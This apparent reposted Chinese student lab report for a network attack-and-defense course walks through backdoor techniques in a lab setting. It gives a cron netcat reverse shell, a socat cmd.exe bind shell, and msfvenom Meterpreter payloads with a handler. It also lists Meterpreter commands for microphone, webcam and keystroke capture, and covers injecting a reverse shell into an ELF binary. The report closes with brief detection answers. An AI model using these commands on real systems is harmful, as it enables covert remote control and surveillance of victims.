1. 程式人生 > 其它 >20192410 2021-2022-2 《網路與系統攻防技術》實驗二 後門原理與實踐 實驗報告

20192410 2021-2022-2 《網路與系統攻防技術》實驗二 後門原理與實踐 實驗報告

20192410 2021-2022-2 《網路與系統攻防技術》實驗二 後門原理與實踐 實驗報告


1.實驗內容

  • 使用netcat和cocat實現win和Linux的後門連線
  • 使用meterpreter實現
    • 生成可執行檔案傳送到主機
    • 獲取目標主機音訊、攝像頭、擊鍵記錄,提權
    • 生成shellcode注入,獲取反彈連線

2.實驗過程

2.1使用netcat獲取主機操作Shell,cron啟動某項任務

(1)獲取Win的IP

ipconfig

(2)Windows開啟監聽(在ncat的目錄下執行命令)

ncat.exe -l -p 8888

(3)在kali中開啟cron

  • 輸入 crontab -e 選擇編輯器,在最後一行新增 * * * * * /bin/netcat 192.168.0.102 8888 -e /bin/sh,即每分鐘都執行一次該指令
  • 儲存、退出後配置即生效。可以通過"crontab -l"來檢視
  • 此時win就獲得了kali的shell

2.2使用socat獲取主機操作Shell, 任務計劃啟動

(1)開啟win的計算機管理中的任務計劃程式並建立任務

  • 填寫任務名
  • 新建觸發器
  • 在操作介面,在程式或指令碼中選擇socat.exe的路徑,新增引數一欄中填寫"tcp-listen:5110 exec:cmd.exe,pty,stderr",該命令會將cmd繫結到5110埠,並把cmd.exe的stderr重定向到stdout上

(2)建立好後,在預定時間會彈出一個cmd視窗,不關閉該視窗,在kali中輸入"socat - tcp:192.168.0.102:5110",就可以獲得win的shell

2.3使用MSF meterpreter生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

(1)生成可執行檔案

在kali上執行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.129 LPORT=5110 -f exe > meter_backdoor.exe

此時在對應目錄下會生成後門程式“meter_backdoor.exe”

圖片

(2)讓win接收檔案

  • 在win下執行"ncat.exe -l 5110 > meter_backdoor.exe"
  • 在kali中執行"nc 192.168.0.129 5110 < meter_backdoor.exe",然後在win對應目錄下會接收到檔案

(3)MSF開啟監聽程序

  • 進入msf控制檯

      msfconsole
    
  • 使用監聽模組

      use exploit/multi/handler
    
  • 設定payload、IP、埠(這裡的IP和埠要與生成後門檔案時的一樣)

      set payload windows/meterpreter/reverse_tcp
      set LHOST 192.168.197.129
      set LPORT 5110
    
  • 執行監聽

      exploit
    
  • 執行win上的後門程式,kali就可獲得shell

2.4使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

  • 獲取音訊

      record_mic  
    
  • 獲取攝像頭

      webcam_snap
    
  • 截圖

      screenshot
    
  • 擊鍵記錄

      keyscan_start  記錄擊鍵過程,
      keyscan_dump   讀取擊鍵記錄
    

2.5使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

(1)生成shellcode並注入

sfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.197.129 LPORT=4444 -x /home/lxf/exp2/pwn20192410 -f elf > pwn 

(2)在另一個終端中執行生成的pwn檔案,即可獲得連線

3.問題及解決方案

  • 問題1:在Linux中編輯好crontab後Windows並沒有獲得Linux的shell
  • 問題1解決方案:編輯crontab時IP地址應該為Windows的IP地址,即主控機的IP地址,因為是需要Linux去反彈連線Windows。
  • 問題2:使用msf監聽失敗
  • 問題2解決方案:生成檔案時的LHOST和LPORT與之後設定的不一樣。
  • 問題3:2.5中執行生成好的檔案時沒有成功。
  • 問題3解決方案:發現是許可權不夠,於是通過指令 chmod u+x* 提權即可

4.回答問題

(1)例舉你能想到的一個後門進入到你係統中的可能方式?

  後門與正常程式捆綁,安裝程式時捆綁安裝

(2)例舉你知道的後門如何啟動起來(win及linux)的方式?

  將建立連結的可執行檔案偽裝成其他正常的東西誘導使用者開啟
  或者將與其他檔案進行捆綁啟動
  使用cron定時啟動任務進行後門連線

(3)Meterpreter有哪些給你映像深刻的功能?

  利用msf可以非常方便地生成許多具備不同功能的payload

(4)如何發現自己有系統有沒有被安裝後門?

  防毒軟體就可以進行檢查,比如本實驗就是在關閉防毒軟體的前提下進行的。
  檢查本機的啟動項

5.學習感悟、思考等

本次實驗使我對於後門的一些基本理論以及netcat、socat和msf的使用有了一定的瞭解。讓我感受到後門無處不在、威脅巨大的同時,也讓我不禁感嘆能夠做出躲避重重安全檢查的後門程式該有多難,希望通過今後的學習能夠有所精進。